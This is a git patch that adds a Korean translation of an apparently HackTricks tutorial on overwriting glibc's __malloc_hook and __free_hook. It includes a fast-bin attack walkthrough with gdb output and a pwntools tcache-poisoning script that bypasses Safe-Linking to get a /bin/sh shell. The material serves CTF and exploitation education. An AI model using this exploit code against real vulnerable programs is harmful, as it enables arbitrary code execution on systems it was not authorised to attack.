From fc196d15a555c1e5f1d11bf29520c4afd9c5d7cd Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 19:51:56 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma --- .../aw2exec-__malloc_hook.md | 85 ++++++++++++++++--- 1 file changed, 75 insertions(+), 10 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index d8a4d701d..1d93a3dc1 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,12 +1,12 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** -공식 GNU 사이트에 따르면, 변수 **`__malloc_hook`**는 **`malloc()`가 호출될 때마다 호출될 함수의 주소를 가리키는 포인터**로, **libc 라이브러리의 데이터 섹션에 저장됩니다**. 따라서 이 주소가 예를 들어 **One Gadget**으로 덮어쓰여지면 `malloc`이 호출될 때 **One Gadget이 호출됩니다**. +공식 GNU 사이트에 따르면, 변수 **`__malloc_hook`**는 `malloc()`이 호출될 때마다 호출될 함수의 **주소를 가리키는 포인터**로, **libc 라이브러리의 데이터 섹션에 저장됩니다**. 따라서 이 주소가 예를 들어 **One Gadget**으로 덮어쓰여지면 `malloc`이 호출될 때 **One Gadget이 호출됩니다**. -`malloc`을 호출하기 위해 프로그램이 이를 호출할 때까지 기다리거나 **`printf("%10000$c")`**를 호출하여 너무 많은 바이트를 할당하여 `libc`가 힙에 할당하도록 만들 수 있습니다. +`malloc`을 호출하기 위해 프로그램이 호출할 때까지 기다리거나 **`printf("%10000$c")`**를 호출하여 너무 많은 바이트를 할당하여 `libc`가 힙에 할당하도록 할 수 있습니다. One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니다: @@ -15,7 +15,7 @@ One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니 {{#endref}} > [!WARNING] -> GLIBC >= 2.34에서는 훅이 **비활성화되어 있습니다**. 최신 GLIBC 버전에서 사용할 수 있는 다른 기술이 있습니다. 참조: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> GLIBC >= 2.34에서는 후크가 **비활성화되어 있습니다**. 최신 GLIBC 버전에서 사용할 수 있는 다른 기술이 있습니다. 참조: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook @@ -29,7 +29,7 @@ One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니 ```bash gef➤ p &__free_hook ``` -[이 게시물에서](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) 기호 없이 free hook의 주소를 찾는 방법에 대한 단계별 가이드를 찾을 수 있습니다. 요약하자면, free 함수에서: +[이 게시물](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)에서는 기호 없이 free hook의 주소를 찾는 방법에 대한 단계별 가이드를 찾을 수 있습니다. 요약하자면, free 함수에서:
gef➤  x/20i free
 0xf75dedc0 : push   ebx
@@ -38,16 +38,16 @@ gef➤  p &__free_hook
 0xf75dedcc :  sub    esp,0x8
 0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
 0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- 여기서 중단
+0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
 0xf75deddb :  test   eax,eax ;<
 0xf75deddd :  jne    0xf75dee50 
 
-앞서 언급한 코드에서 중단된 위치의 `$eax`에는 free hook의 주소가 위치하게 됩니다. +앞서 언급한 코드의 중단점에서 `$eax`에는 free hook의 주소가 위치하게 됩니다. 이제 **fast bin attack**이 수행됩니다: -- 우선, **`__free_hook`** 위치에서 **200** 크기의 fast **chunks**로 작업할 수 있음을 발견합니다: +- 우선, **`__free_hook`** 위치에서 **200** 크기의 fast **chunks**로 작업할 수 있다는 것이 발견됩니다: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -57,14 +57,79 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
- 이 위치에서 크기 0x200의 fast chunk를 얻으면 실행될 함수 포인터를 덮어쓸 수 있습니다. -- 이를 위해 크기 `0xfc`의 새로운 chunk를 생성하고, 그 포인터로 병합된 함수를 두 번 호출하여 fast bin에서 크기 `0xfc*2 = 0x1f8`의 해제된 chunk에 대한 포인터를 얻습니다. +- 이를 위해 크기 `0xfc`의 새로운 chunk를 생성하고, 그 포인터로 병합된 함수를 두 번 호출하여 fast bin에서 크기 `0xfc*2 = 0x1f8`의 freed chunk에 대한 포인터를 얻습니다. - 그런 다음, 이 chunk에서 edit 함수를 호출하여 이 fast bin의 **`fd`** 주소를 이전 **`__free_hook`** 함수로 가리키도록 수정합니다. - 이후, 크기 `0x1f8`의 chunk를 생성하여 fast bin에서 이전의 쓸모없는 chunk를 가져오고, 또 다른 크기 `0x1f8`의 chunk를 생성하여 **`__free_hook`**에서 fast bin chunk를 가져오고, 이를 **`system`** 함수의 주소로 덮어씁니다. - 마지막으로, 문자열 `/bin/sh\x00`을 포함하는 chunk를 삭제 함수 호출로 해제하여 **`__free_hook`** 함수를 트리거하고, 이 함수는 `/bin/sh\x00`을 매개변수로 하여 system을 가리킵니다. -## References +--- + +## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33) + +glibc 2.32는 **Safe-Linking**을 도입했습니다. 이는 **tcache**와 fast-bins에서 사용되는 *단일* 연결 리스트를 보호하는 무결성 검사입니다. 원시 포인터(`fd`)를 저장하는 대신, ptmalloc은 이제 다음 매크로로 *난독화된* 형태로 저장합니다: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +악용의 결과: + +1. **heap leak**는 필수입니다 – 공격자는 유효한 난독화된 포인터를 만들기 위해 `chunk_addr >> 12`의 런타임 값을 알아야 합니다. +2. 오직 *전체* 8바이트 포인터만 위조할 수 있으며, 단일 바이트 부분 덮어쓰기는 검사를 통과하지 못합니다. + +glibc 2.32/2.33에서 `__free_hook`를 덮어쓰는 최소한의 tcache-poisoning 원시는 다음과 같습니다: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +위의 스니펫은 *UIUCTF 2024 – «Rusty Pointers»*와 *openECSC 2023 – «Babyheap G»*와 같은 최근 CTF 챌린지에서 수정된 것으로, 두 챌린지 모두 `__free_hook`을 덮어쓰는 Safe-Linking 우회에 의존했습니다. + +--- + +## glibc ≥ 2.34에서 변경된 사항은 무엇인가요? + +**glibc 2.34 (2021년 8월)**부터 할당 훅 `__malloc_hook`, `__realloc_hook`, `__memalign_hook` 및 `__free_hook`이 **공식 API에서 제거되었으며 더 이상 할당자에 의해 호출되지 않습니다**. 호환성 기호는 레거시 바이너리를 위해 여전히 내보내지지만, 이를 덮어쓰는 것은 더 이상 `malloc()` 또는 `free()`의 제어 흐름에 영향을 미치지 않습니다. + +실용적인 의미: 최신 배포판(Ubuntu 22.04+, Fedora 35+, Debian 12 등)에서는 *다른* 하이재킹 원시(primitives)(IO-FILE, `__run_exit_handlers`, vtable spraying 등)로 전환해야 합니다. 훅 덮어쓰기는 조용히 실패할 것입니다. + +디버깅을 위해 이전 동작이 여전히 필요하다면, glibc는 레거시 훅을 다시 활성화하기 위해 미리 로드할 수 있는 `libc_malloc_debug.so`를 제공합니다. 그러나 이 라이브러리는 **생산 환경을 위한 것이 아니며 향후 릴리스에서 사라질 수 있습니다**. + +--- + +## 참고 문헌 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – 20년 된 malloc() 익스플로잇 원시 제거 (Check Point Research, 2020) +- glibc 2.34 릴리스 노트 – malloc 훅 제거 {{#include ../../banners/hacktricks-training.md}}